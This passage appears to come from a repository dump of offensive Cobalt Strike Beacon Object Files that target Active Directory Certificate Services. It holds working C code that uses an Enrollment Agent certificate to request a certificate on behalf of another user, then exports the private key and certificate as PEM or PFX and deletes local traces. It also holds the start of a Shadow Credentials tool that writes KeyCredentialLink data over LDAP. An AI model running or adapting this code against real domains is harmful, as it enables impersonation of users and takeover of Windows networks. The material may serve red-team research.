XCN_AT_KEYEXCHANGE);\n\t\tCHECK_RETURN_FAIL(\"put_KeySpec\", hr);\n\t\t\n\t\thr = pKey->lpVtbl->put_MachineContext(pKey, VARIANT_FALSE);\n\t\tCHECK_RETURN_FAIL(\"put_MachineContext\", hr);\n\t\t\n\t\t// Make key exportable\n\t\thr = pKey->lpVtbl->put_ExportPolicy(pKey, XCN_NCRYPT_ALLOW_EXPORT_FLAG | XCN_NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG);\n\t\tCHECK_RETURN_FAIL(\"put_ExportPolicy\", hr);\n\t\t\n\t\thr = pKey->lpVtbl->Create(pKey);\n\t\tCHECK_RETURN_FAIL(\"PrivateKey->Create\", hr);\n\t\tinternal_printf(\"[+] Exportable private key created\\n\");\n\t}\n\n\t// Create inner PKCS10 request with our exportable key\n\t{\n\t\tCLSID CLSID_CX509CertificateRequestPkcs10 = {0x884e2042, 0x217d, 0x11da, {0xb2, 0xa4, 0x00, 0x0e, 0x7b, 0xbb, 0x2b, 0x09}};\n\t\t\n\t\thr = OLE32$CoCreateInstance(&CLSID_CX509CertificateRequestPkcs10, NULL, CLSCTX_INPROC_SERVER, &IID_IX509CertificateRequestPkcs10, (LPVOID*)&pPkcs10);\n\t\tCHECK_RETURN_FAIL(\"CoCreateInstance(PKCS10)\", hr);\n\t\t\n\t\thr = pPkcs10->lpVtbl->InitializeFromPrivateKey(pPkcs10, ContextUser, pKey, bstrTemplateName);\n\t\tCHECK_RETURN_FAIL(\"InitializeFromPrivateKey\", hr);\n\t\tinternal_printf(\"[+] PKCS10 request initialized with exportable key\\n\");\n\t}\n\n\t// Create CMC request wrapping the PKCS10\n\thr = OLE32$CoCreateInstance(&CLSID_X509CertificateRequestCmc, NULL, CLSCTX_INPROC_SERVER, &IID_IX509CertificateRequestCmc, (LPVOID*)&pCmc);\n\tCHECK_RETURN_FAIL(\"CoCreateInstance(CMC)\", hr);\n\n\thr = pCmc->lpVtbl->InitializeFromInnerRequest(pCmc, (IX509CertificateRequest*)pPkcs10);\n\tCHECK_RETURN_FAIL(\"InitializeFromInnerRequest\", hr);\n\tinternal_printf(\"[+] CMC request initialized for template: %S\\n\", lpswzTemplate);\n\n\t// Set requester name (the target user)\n\thr = pCmc->lpVtbl->put_RequesterName(pCmc, bstrRequesterName);\n\tCHECK_RETURN_FAIL(\"put_RequesterName\", hr);\n\tinternal_printf(\"[+] Requester set to: %S\\n\", lpswzTargetUser);\n\n\t// Create signer certificate from EA cert\n\tbstrEaCert = OLEAUT32$SysAllocStringByteLen((CHAR const *)pEnrollCert->pbCertEncoded, pEnrollCert->cbCertEncoded);\n\n\thr = OLE32$CoCreateInstance(&CLSID_SignerCertificate, NULL, CLSCTX_INPROC_SERVER, &IID_ISignerCertificate, (LPVOID*)&pSignerCertificate);\n\tCHECK_RETURN_FAIL(\"CoCreateInstance(SignerCertificate)\", hr);\n\n\thr = pSignerCertificate->lpVtbl->Initialize(pSignerCertificate, VARIANT_FALSE, VerifyNone, XCN_CRYPT_STRING_BINARY, bstrEaCert);\n\tCHECK_RETURN_FAIL(\"SignerCertificate->Initialize\", hr);\n\n\t// Add signer to CMC request\n\thr = pCmc->lpVtbl->get_SignerCertificates(pCmc, &pSignerCertificates);\n\tCHECK_RETURN_FAIL(\"get_SignerCertificates\", hr);\n\n\thr = pSignerCertificates->lpVtbl->Add(pSignerCertificates, pSignerCertificate);\n\tCHECK_RETURN_FAIL(\"SignerCertificates->Add\", hr);\n\tinternal_printf(\"[+] Request signed with Enrollment Agent certificate\\n\");\n\n\t// Create enrollment and submit\n\thr = OLE32$CoCreateInstance(&CLSID_CX509Enrollment, NULL, CLSCTX_INPROC_SERVER, &IID_IX509Enrollment, (LPVOID*)&pEnroll);\n\tCHECK_RETURN_FAIL(\"CoCreateInstance(Enrollment)\", hr);\n\n\thr = pEnroll->lpVtbl->InitializeFromRequest(pEnroll, (IX509CertificateRequest *)pCmc);\n\tCHECK_RETURN_FAIL(\"InitializeFromRequest\", hr);\n\n\thr = pEnroll->lpVtbl->Enroll(pEnroll);\n\tCHECK_RETURN_FAIL(\"Enroll\", hr);\n\n\t// Check enrollment status\n\thr = pEnroll->lpVtbl->get_Status(pEnroll, &pStatus);\n\tCHECK_RETURN_FAIL(\"get_Status\", hr);\n\n\thr = pStatus->lpVtbl->get_Status(pStatus, &enrollStatus);\n\tCHECK_RETURN_FAIL(\"get_Status(status)\", hr);\n\n\tpStatus->lpVtbl->get_ErrorText(pStatus, &bstrErrorText);\n\tpStatus->lpVtbl->get_Text(pStatus, &bstrStatusText);\n\n\tif (enrollStatus != Enrolled) {\n\t\tif (enrollStatus == EnrollPended) {\n\t\t\tinternal_printf(\"[!] Request pending\\n\");\n\t\t} else {\n\t\t\tinternal_printf(\"[!] Request failed\\n\");\n\t\t}\n\t\tif (bstrErrorText) internal_printf(\"    Error: %S\\n\", bstrErrorText);\n\t\tif (bstrStatusText) internal_printf(\"    Status: %S\\n\", bstrStatusText);\n\t\thr = E_FAIL;\n\t\tgoto fail;\n\t}\n\n\tinternal_printf(\"[+] Certificate issued!\\n\");\n\n\t// Get the certificate\n\thr = pEnroll->lpVtbl->get_Certificate(pEnroll, XCN_CRYPT_STRING_BASE64, &bstrCertificate);\n\tCHECK_RETURN_FAIL(\"get_Certificate\", hr);\n\n\t// Get container name for export\n\thr = pKey->lpVtbl->get_UniqueContainerName(pKey, &bstrContainerName);\n\tCHECK_RETURN_FAIL(\"get_UniqueContainerName\", hr);\n\n\tif (bPem) {\n\t\t// PEM output format\n\t\tbstrExportType = OLEAUT32$SysAllocString(BCRYPT_PRIVATE_KEY_BLOB);\n\t\thr = pKey->lpVtbl->Export(pKey, bstrExportType, XCN_CRYPT_STRING_BINARY, &bstrPrivateKey);\n\t\tCHECK_RETURN_FAIL(\"pKey->Export()\", hr);\n\t\t\n\t\t// Convert from BCRYPT_PRIVATE_KEY_BLOB to DER\n\t\tCRYPT32$CryptEncodeObjectEx(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, PKCS_RSA_PRIVATE_KEY, (LPCVOID)bstrPrivateKey, 0, NULL, NULL, &dwPrivateKeyLen);\n\t\tpPrivateDER = (LPBYTE)intAlloc(dwPrivateKeyLen);\n\t\tCHECK_RETURN_NULL(\"intAlloc for private DER\", pPrivateDER, hr);\n\t\thr = CRYPT32$CryptEncodeObjectEx(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, PKCS_RSA_PRIVATE_KEY, (LPCVOID)bstrPrivateKey, 0, NULL, (LPVOID)pPrivateDER, &dwPrivateKeyLen);\n\t\tCHECK_RETURN_FALSE(\"CryptEncodeObjectEx\", hr);\n\n\t\t// Convert from DER to PEM format\n\t\tCRYPT32$CryptBinaryToStringW(pPrivateDER, dwPrivateKeyLen, CRYPT_STRING_BASE64, NULL, &pemPrivateSize);\n\t\tpPrivatePEM = (LPWSTR)intAlloc(pemPrivateSize * sizeof(WCHAR));\n\t\tCHECK_RETURN_NULL(\"intAlloc for private PEM\", pPrivatePEM, hr);\n\t\thr = CRYPT32$CryptBinaryToStringW(pPrivateDER, dwPrivateKeyLen, CRYPT_STRING_BASE64, pPrivatePEM, &pemPrivateSize);\n\t\tCHECK_RETURN_FALSE(\"CryptBinaryToStringW\", hr);\n\n\t\t// Display the certificate in PEM format\n\t\tinternal_printf(\"[*] cert.pem:\\n\");\n\t\tinternal_printf(\"-----BEGIN RSA PRIVATE KEY-----\\n\");\n\t\tinternal_printf(\"%S\", pPrivatePEM);\n\t\tinternal_printf(\"-----END RSA PRIVATE KEY-----\\n\");\n\t\tinternal_printf(\"-----BEGIN CERTIFICATE-----\\n\");\n\t\tinternal_printf(\"%S\", bstrCertificate);\n\t\tinternal_printf(\"-----END CERTIFICATE-----\\n\");\n\t\tinternal_printf(\"[*] Convert with:\\nopenssl pkcs12 -in cert.pem -keyex -CSP \\\"Microsoft Enhanced Cryptographic Provider v1.0\\\" -export -out cert.pfx\\n\");\n\t} else {\n\t\t// PFX output format\n\t\tCRYPT32$CryptStringToBinaryW(bstrCertificate, 0, CRYPT_STRING_BASE64, NULL, &dwCertLen, NULL, NULL);\n\t\tpbCertDER = (LPBYTE)intAlloc(dwCertLen);\n\t\tCHECK_RETURN_NULL(\"intAlloc for cert DER\", pbCertDER, hr);\n\t\thr = CRYPT32$CryptStringToBinaryW(bstrCertificate, 0, CRYPT_STRING_BASE64, pbCertDER, &dwCertLen, NULL, NULL);\n\t\tCHECK_RETURN_FALSE(\"CryptStringToBinaryW\", hr);\n\n\t\tpCertContext = CRYPT32$CertCreateCertificateContext(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, pbCertDER, dwCertLen);\n\t\tCHECK_RETURN_NULL(\"CertCreateCertificateContext\", pCertContext, hr);\n\n\t\thMemStore = CRYPT32$CertOpenStore(CERT_STORE_PROV_MEMORY, 0, 0, CERT_STORE_CREATE_NEW_FLAG, NULL);\n\t\tCHECK_RETURN_NULL(\"CertOpenStore\", hMemStore, hr);\n\n\t\thr = CRYPT32$CertAddCertificateContextToStore(hMemStore, pCertContext, CERT_STORE_ADD_ALWAYS, &pStoreCert);\n\t\tCHECK_RETURN_FALSE(\"CertAddCertificateContextToStore\", hr);\n\n\t\tkeyProvInfo.pwszContainerName = bstrContainerName;\n\t\tkeyProvInfo.pwszProvName = MS_ENHANCED_PROV_W;\n\t\tkeyProvInfo.dwProvType = PROV_RSA_FULL;\n\t\tkeyProvInfo.dwFlags = 0;\n\t\tkeyProvInfo.dwKeySpec = AT_KEYEXCHANGE;\n\n\t\thr = CRYPT32$CertSetCertificateContextProperty(pStoreCert, CERT_KEY_PROV_INFO_PROP_ID, 0, &keyProvInfo);\n\t\tCHECK_RETURN_FALSE(\"CertSetCertificateContextProperty\", hr);\n\n\t\tCRYPT32$PFXExportCertStoreEx(hMemStore, &pfxBlob, wszPfxPassword, NULL, EXPORT_PRIVATE_KEYS);\n\t\tif (pfxBlob.cbData > 0) {\n\t\t\tpfxBlob.pbData = (BYTE*)intAlloc(pfxBlob.cbData);\n\t\t\tCHECK_RETURN_NULL(\"intAlloc for PFX\", pfxBlob.pbData, hr);\n\n\t\t\thr = CRYPT32$PFXExportCertStoreEx(hMemStore, &pfxBlob, wszPfxPassword, NULL, EXPORT_PRIVATE_KEYS);\n\t\t\tCHECK_RETURN_FALSE(\"PFXExportCertStoreEx\", hr);\n\n\t\t\tCRYPT32$CryptBinaryToStringA(pfxBlob.pbData, pfxBlob.cbData, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &dwPfxB64Len);\n\t\t\tpszPfxB64 = (LPSTR)intAlloc(dwPfxB64Len + 1);\n\t\t\tCHECK_RETURN_NULL(\"intAlloc for PFX B64\", pszPfxB64, hr);\n\t\t\tCRYPT32$CryptBinaryToStringA(pfxBlob.pbData, pfxBlob.cbData, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, pszPfxB64, &dwPfxB64Len);\n\n\t\t\tinternal_printf(\"[*] cert.pfx (password: '%S'):\\n\\n%s\\n\\n\", wszPfxPassword, pszPfxB64);\n\t\t}\n\t}\n\n\t// Cleanup: Delete private key and certificate from store\n\tif (pKey) {\n\t\tpKey->lpVtbl->Close(pKey);\n\t\tpKey->lpVtbl->Delete(pKey);\n\t\tinternal_printf(\"[+] Private key deleted from local store\\n\");\n\t}\n\n\thr = S_OK;\n\nfail:\n\t// PEM cleanup\n\tSAFE_INT_FREE(pPrivateDER);\n\tSAFE_INT_FREE(pPrivatePEM);\n\tSAFE_SYS_FREE(bstrPrivateKey);\n\tSAFE_SYS_FREE(bstrExportType);\n\t// PFX cleanup\n\tSAFE_INT_FREE(pszPfxB64);\n\tif (pfxBlob.pbData) intFree(pfxBlob.pbData);\n\tif (pStoreCert) CRYPT32$CertFreeCertificateContext(pStoreCert);\n\tif (pCertContext) CRYPT32$CertFreeCertificateContext(pCertContext);\n\tif (hMemStore) CRYPT32$CertCloseStore(hMemStore, 0);\n\tSAFE_INT_FREE(pbCertDER);\n\t// COM cleanup\n\tSAFE_RELEASE(pKey);\n\tSAFE_RELEASE(pPkcs10);\n\tSAFE_RELEASE(pInnerRequest);\n\tSAFE_RELEASE(pRequest);\n\tSAFE_RELEASE(pStatus);\n\tSAFE_RELEASE(pEnroll);\n\tSAFE_RELEASE(pSignerCertificates);\n\tSAFE_RELEASE(pSignerCertificate);\n\tSAFE_RELEASE(pCmc);\n\t// String cleanup\n\tSAFE_SYS_FREE(bstrContainerName);\n\tSAFE_SYS_FREE(bstrProviderName);\n\tSAFE_SYS_FREE(bstrStatusText);\n\tSAFE_SYS_FREE(bstrErrorText);\n\tSAFE_SYS_FREE(bstrCertificate);\n\tSAFE_SYS_FREE(bstrEaCert);\n\tSAFE_SYS_FREE(bstrPassword);\n\tSAFE_SYS_FREE(bstrRequesterName);\n\tSAFE_SYS_FREE(bstrTemplateName);\n\t// Certificate cleanup - delete EA cert from MY store\n\tif (pEnrollCert) {\n\t\tCRYPT32$CertDeleteCertificateFromStore(pEnrollCert);\n\t\tpEnrollCert = NULL; // CertDeleteCertificateFromStore frees the context\n\t}\n\tif (hCertStore) CRYPT32$CertCloseStore(hCertStore, 0);\n\n\tOLE32$CoUninitialize();\n\n\treturn hr;\n}\n\n#ifdef BOF\nVOID go( IN PCHAR Buffer, IN ULONG Length )\n{\n\tHRESULT hr = S_OK;\n\tdatap parser;\n\tLPCWSTR lpswzCA = NULL;\n\tLPCWSTR lpswzTemplate = NULL;\n\tLPCWSTR lpswzTargetUser = NULL;\n\tLPCWSTR lpswzEaCertPassword = NULL;\n\tLPCWSTR lpswzPfxPassword = NULL;\n\tLPBYTE pbEnrollmentCert = NULL;\n\tint cbEnrollmentCert = 0;\n\tBOOL bPem = FALSE;\n\n\tif (!bofstart())\n\t\treturn;\n\n\tBeaconDataParse(&parser, Buffer, Length);\n\tlpswzCA = (LPCWSTR)BeaconDataExtract(&parser, NULL);\n\tlpswzTemplate = (LPCWSTR)BeaconDataExtract(&parser, NULL);\n\tlpswzTargetUser = (LPCWSTR)BeaconDataExtract(&parser, NULL);\n\tlpswzEaCertPassword = (LPCWSTR)BeaconDataExtract(&parser, NULL);\n\tlpswzPfxPassword = (LPCWSTR)BeaconDataExtract(&parser, NULL);\n\tpbEnrollmentCert = (LPBYTE)BeaconDataExtract(&parser, &cbEnrollmentCert);\n\tbPem = (BOOL)BeaconDataShort(&parser);\n\n\tinternal_printf(\"\\n=== ADCS Request On Behalf ===\\n\");\n\n\thr = RequestCertOnBehalf( lpswzCA, lpswzTemplate, lpswzTargetUser, pbEnrollmentCert, cbEnrollmentCert, lpswzEaCertPassword, lpswzPfxPassword, bPem );\n\tif (S_OK != hr) {\n\t\tBeaconPrintf(CALLBACK_ERROR, \"RequestCertOnBehalf failed: 0x%08lx\\n\", hr);\n\t\tgoto fail;\n\t}\n\n\tinternal_printf(\"\\n--- SUCCESS ---\\n\");\n\nfail:\n\tprintoutput(TRUE);\n\tbofstop();\n};\n#else\nint main(int argc, char **argv)\n{\n\tinternal_printf(\"Test mode not implemented\\n\");\n\treturn 0;\n}\n#endif\n"
  },
  {
    "path": "AD-BOF/ADCS-BOF/src/shadow/certi_shadow.c",
    "content": "/* Prevent winsock.h/winsock2.h conflict */\n#define WIN32_LEAN_AND_MEAN\n#define _WINSOCK_DEPRECATED_NO_WARNINGS\n\n/* Use old-style swprintf (no size parameter) for MSVC compatibility */\n#define _CRT_NON_CONFORMING_SWPRINTFS\n\n#include <windows.h>\n#include <winsock2.h>\n#include <ws2tcpip.h>\n#include <wincrypt.h>\n#include <winldap.h>\n#include <dsgetdc.h>\n#include <lm.h>\n#include <time.h>\n\ntypedef void* LPUNKNOWN;\ntypedef WCHAR OLECHAR;\ntypedef OLECHAR* LPOLESTR;\ntypedef OLECHAR* BSTR;\ntypedef LONG DISPID;\ntypedef unsigned int UINT;\n\n#define CLSCTX_INPROC_SERVER 0x1\n\n#include \"beacon.h\"\n#define CALLBACK_OUTPUT 0x0\n#define CALLBACK_ERROR 0x0d\n\nDECLSPEC_IMPORT int WINAPI USER32$wsprintfW(LPWSTR, LPCWSTR, ...);\n#define SWPRINTF USER32$wsprintfW\n\n#define KCEI_VERSION        0x00\n#define KCEI_KEYID          0x01\n#define KCEI_KEYHASH        0x02\n#define KCEI_KEYMATERIAL    0x03\n#define KCEI_KEYUSAGE       0x04\n#define KCEI_KEYSOURCE      0x05\n#define KCEI_DEVICEID       0x06\n#define KCEI_CUSTOMKEYINFO  0x07\n#define KCEI_KEYLASTLOGON   0x08\n#define KCEI_KEYCREATION    0x09\n\n#define KEY_USAGE_NGC       0x01\n#define KEY_USAGE_FIDO      0x07\n#define KEY_SOURCE_AD       0x00\n#define KEY_SOURCE_AZUREAD  0x01\n\n/* LDAP constants */\n#ifndef LDAP_PORT\n#define LDAP_PORT 389\n#endif\n#ifndef LDAP_SCOPE_SUBTREE\n#define LDAP_SCOPE_SUBTREE 0x02\n#endif\n#ifndef LDAP_AUTH_NEGOTIATE\n#define LDAP_AUTH_NEGOTIATE 0x0486\n#endif\n#ifndef LDAP_OPT_REFERRALS\n#define LDAP_OPT_REFERRALS 0x08\n#endif\n#ifndef LDAP_SUCCESS\n#define LDAP_SUCCESS 0x00\n#endif\n#ifndef LDAP_MOD_ADD\n#define LDAP_MOD_ADD 0x00\n#endif\n#ifndef LDAP_MOD_BVALUES\n#define LDAP_MOD_BVALUES 0x80\n#endif\n\n/* BCRYPT_RSAKEY_BLOB magic */\n#define BCRYPT_RSAPUBLIC_MAGIC  0x31415352  /* \"RSA1\" */\n\n#define szOID_NT_PRINCIPAL_NAME \"1.3.6.1.4.1.311.20.2.3\"\n\n/* Global state for Shadow Credential cleanup */\nstatic WCHAR* g_wszKeyCredValue = NULL;\nstatic WCHAR g_wszTargetDN[512] = { 0 };\nstatic char g_szDomain[256] = { 0 };\nstatic GUID g_deviceId = { 0 };\n\n/* Crypto - ADVAPI32 */\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptAcquireContextW(HCRYPTPROV*, LPCWSTR, LPCWSTR, DWORD, DWORD);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptReleaseContext(HCRYPTPROV, DWORD);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptGenKey(HCRYPTPROV, ALG_ID, DWORD, HCRYPTKEY*);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptDestroyKey(HCRYPTKEY);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptGenRandom(HCRYPTPROV, DWORD, BYTE*);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptCreateHash(HCRYPTPROV, ALG_ID, HCRYPTKEY, DWORD, HCRYPTHASH*);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptHashData(HCRYPTHASH, const BYTE*, DWORD, DWORD);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptGetHashParam(HCRYPTHASH, DWORD, BYTE*, DWORD*, DWORD);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptDestroyHash(HCRYPTHASH);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CryptExportKey(HCRYPTKEY, HCRYPTKEY, DWORD, DWORD, BYTE*, DWORD*);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$ConvertSidToStringSidA(PSID, LPSTR*);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$IsValidSid(PSID);\nDECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetLengthSid(PSID);\n\n/* Crypto - CRYPT32 */\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptEncodeObjectEx(DWORD, LPCSTR, const void*, DWORD, PCRYPT_ENCODE_PARA, void*, DWORD*);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptDecodeObjectEx(DWORD, LPCSTR, const BYTE*, DWORD, DWORD, PCRYPT_DECODE_PARA, void*, DWORD*);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptBinaryToStringA(const BYTE*, DWORD, DWORD, LPSTR, DWORD*);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptStringToBinaryA(LPCSTR, DWORD, DWORD, BYTE*, DWORD*, DWORD*, DWORD*);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertStrToNameA(DWORD, LPCSTR, DWORD, void*, BYTE*, DWORD*, LPCSTR*);\nDECLSPEC_IMPORT PCCERT_CONTEXT WINAPI CRYPT32$CertCreateCertificateContext(DWORD, const BYTE*, DWORD);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertFreeCertificateContext(PCCERT_CONTEXT);\nDECLSPEC_IMPORT HCERTSTORE WINAPI CRYPT32$CertOpenStore(LPCSTR, DWORD, HCRYPTPROV_LEGACY, DWORD, const void*);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertCloseStore(HCERTSTORE, DWORD);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertAddCertificateContextToStore(HCERTSTORE, PCCERT_CONTEXT, DWORD, PCCERT_CONTEXT*);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertSetCertificateContextProperty(PCCERT_CONTEXT, DWORD, DWORD, const void*);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$PFXExportCertStoreEx(HCERTSTORE, CRYPT_DATA_BLOB*, LPCWSTR, void*, DWORD);\nDECLSPEC_IMPORT HCERTSTORE WINAPI CRYPT32$PFXImportCertStore(CRYPT_DATA_BLOB*, LPCWSTR, DWORD);\nDECLSPEC_IMPORT PCCERT_CONTEXT WINAPI CRYPT32$CertEnumCertificatesInStore(HCERTSTORE, PCCERT_CONTEXT);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptAcquireCertificatePrivateKey(PCCERT_CONTEXT, DWORD, void*, HCRYPTPROV_OR_NCRYPT_KEY_HANDLE*, DWORD*, BOOL*);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptExportPublicKeyInfo(HCRYPTPROV, DWORD, DWORD, PCERT_PUBLIC_KEY_INFO, DWORD*);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptSignAndEncodeCertificate(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE, DWORD, DWORD, LPCSTR, const void*, PCRYPT_ALGORITHM_IDENTIFIER, const void*, BYTE*, DWORD*);\nDECLSPEC_IMPORT HCRYPTMSG WINAPI CRYPT32$CryptMsgOpenToEncode(DWORD, DWORD, DWORD, const void*, LPSTR, PCMSG_STREAM_INFO);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptMsgUpdate(HCRYPTMSG, const BYTE*, DWORD, BOOL);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptMsgGetParam(HCRYPTMSG, DWORD, DWORD, void*, DWORD*);\nDECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptMsgClose(HCRYPTMSG);\n\n/* COM */\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID, DWORD);\nDECLSPEC_IMPORT void WINAPI OLE32$CoUninitialize(void);\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateGuid(GUID*);\n\n/* NetAPI */\nDECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameW(LPCWSTR, LPCWSTR, GUID*, LPCWSTR, ULONG, PDOMAIN_CONTROLLER_INFOW*);\nDECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID);\n\n/* LDAP */\nDECLSPEC_IMPORT LDAP* WINAPI WLDAP32$ldap_initW(PWSTR, ULONG);\nDECLSPEC_IMPORT ULONG WINAPI WLDAP32$ldap_bind_sW(LDAP*, PWSTR, PWSTR, ULONG);\nDECLSPEC_IMPORT ULONG WINAPI WLDAP32$ldap_search_sW(LDAP*, PWSTR, ULONG, PWSTR, PWSTR*, ULONG, LDAPMessage**);\nDECLSPEC_IMPORT ULONG WINAPI WLDAP32$ldap_unbind(LDAP*);\nDECLSPEC_IMPORT LDAPMessage* WINAPI WLDAP32$ldap_first_entry(LDAP*, LDAPMessage*);\nDECLSPEC_IMPORT PWSTR WINAPI WLDAP32$ldap_get_dnW(LDAP*, LDAPMessage*);\nDECLSPEC_IMPORT struct berval** WINAPI WLDAP32$ldap_get_values_lenW(LDAP*, LDAPMessage*, PWSTR);\nDECLSPEC_IMPORT ULONG WINAPI WLDAP32$ldap_value_free_len(struct berval**);\nDECLSPEC_IMPORT ULONG WINAPI WLDAP32$ldap_msgfree(LDAPMessage*);\nDECLSPEC_IMPORT ULONG WINAPI WLDAP32$ldap_set_optionW(LDAP*, int, const void*);\nDECLSPEC_IMPORT ULONG WINAPI WLDAP32$ldap_modify_sW(LDAP*, PWSTR, LDAPModW**);\nDECLSPEC_IMPORT void WINAPI WLDAP32$ldap_memfreeW(PWSTR);\n\n/* Kernel32 */\nDECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalAlloc(UINT, SIZE_T);\nDECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL);\nDECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryA(LPCSTR);\nDECLSPEC_IMPORT FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE, LPCSTR);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$FreeLibrary(HMODULE);\nDECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT, DWORD, LPCCH, int, LPWSTR, int);\nDECLSPEC_IMPORT int WINAPI KERNEL32$WideCharToMultiByte(UINT, DWORD, LPCWCH, int, LPSTR, int, LPCCH, LPBOOL);\nDECLSPEC_IMPORT void WINAPI KERNEL32$GetSystemTime(LPSYSTEMTIME);\nDECLSPEC_IMPORT void WINAPI KERNEL32$GetSystemTimeAsFileTime(LPFILETIME);\nDECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(void);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetComputerNameExW(int, LPWSTR, LPDWORD);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$SystemTimeToFileTime(const SYSTEMTIME*, LPFILETIME);\n\n/* MSVCRT */\nDECLSPEC_IMPORT void* __cdecl MSVCRT$malloc(size_t);\nDECLSPEC_IMPORT void __cdecl MSVCRT$free(void*);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$memset(void*, int, size_t);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(void*, const void*, size_t);\nDECLSPEC_IMPORT int __cdecl MSVCRT$memcmp(const void*, const void*, size_t);\nDECLSPEC_IMPORT size_t __cdecl MSVCRT$strlen(const char*);\nDECLSPEC_IMPORT size_t __cdecl MSVCRT$wcslen(const wchar_t*);\nDECLSPEC_IMPORT int __cdecl MSVCRT$sprintf(char*, const char*, ...);\nDECLSPEC_IMPORT int __cdecl MSVCRT$swprintf(wchar_t*, size_t, const wchar_t*, ...);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strcpy(char*, const char*);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strcat(char*, const char*);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strchr(const char*, int);\nDECLSPEC_IMPORT wchar_t* __cdecl MSVCRT$wcscpy(wchar_t*, const wchar_t*);\nDECLSPEC_IMPORT wchar_t* __cdecl MSVCRT$wcscat(wchar_t*, const wchar_t*);\nDECLSPEC_IMPORT int __cdecl MSVCRT$_stricmp(const char*, const char*);\nDECLSPEC_IMPORT int __cdecl MSVCRT$rand(void);\nDECLSPEC_IMPORT void __cdecl MSVCRT$srand(unsigned int);\nDECLSPEC_IMPORT time_t __cdecl MSVCRT$time(time_t*);\n\n/* DFR macros */\n#define WSAStartup WS2_32$WSAStartup\n#define WSACleanup WS2_32$WSACleanup\n#define socket WS2_32$socket\n#define connect WS2_32$connect\n#define send WS2_32$send\n#define recv WS2_32$recv\n#define closesocket WS2_32$closesocket\n#define gethostbyname WS2_32$gethostbyname\n#define inet_addr WS2_32$inet_addr\n#define htons WS2_32$htons\n#define htonl WS2_32$htonl\n#define ntohl WS2_32$ntohl\n\n#define CryptAcquireContextW ADVAPI32$CryptAcquireContextW\n#define CryptReleaseContext ADVAPI32$CryptReleaseContext\n#define CryptGenKey ADVAPI32$CryptGenKey\n#define CryptDestroyKey ADVAPI32$CryptDestroyKey\n#define CryptGenRandom ADVAPI32$CryptGenRandom\n#define CryptCreateHash ADVAPI32$CryptCreateHash\n#define CryptHashData ADVAPI32$CryptHashData\n#define CryptGetHashParam ADVAPI32$CryptGetHashParam\n#define CryptDestroyHash ADVAPI32$CryptDestroyHash\n#define CryptExportKey ADVAPI32$CryptExportKey\n#define ConvertSidToStringSidA ADVAPI32$ConvertSidToStringSidA\n#define IsValidSid ADVAPI32$IsValidSid\n#define GetLengthSid ADVAPI32$GetLengthSid\n\n#define CryptEncodeObjectEx CRYPT32$CryptEncodeObjectEx\n#define CryptDecodeObjectEx CRYPT32$CryptDecodeObjectEx\n#define CryptBinaryToStringA CRYPT32$CryptBinaryToStringA\n#define CryptStringToBinaryA CRYPT32$CryptStringToBinaryA\n#define CertStrToNameA CRYPT32$CertStrToNameA\n#define CertCreateCertificateContext CRYPT32$CertCreateCertificateContext\n#define CertFreeCertificateContext CRYPT32$CertFreeCertificateContext\n#define CertOpenStore CRYPT32$CertOpenStore\n#define CertCloseStore CRYPT32$CertCloseStore\n#define CertAddCertificateContextToStore CRYPT32$CertAddCertificateContextToStore\n#define CertSetCertificateContextProperty CRYPT32$CertSetCertificateContextProperty\n#define PFXExportCertStoreEx 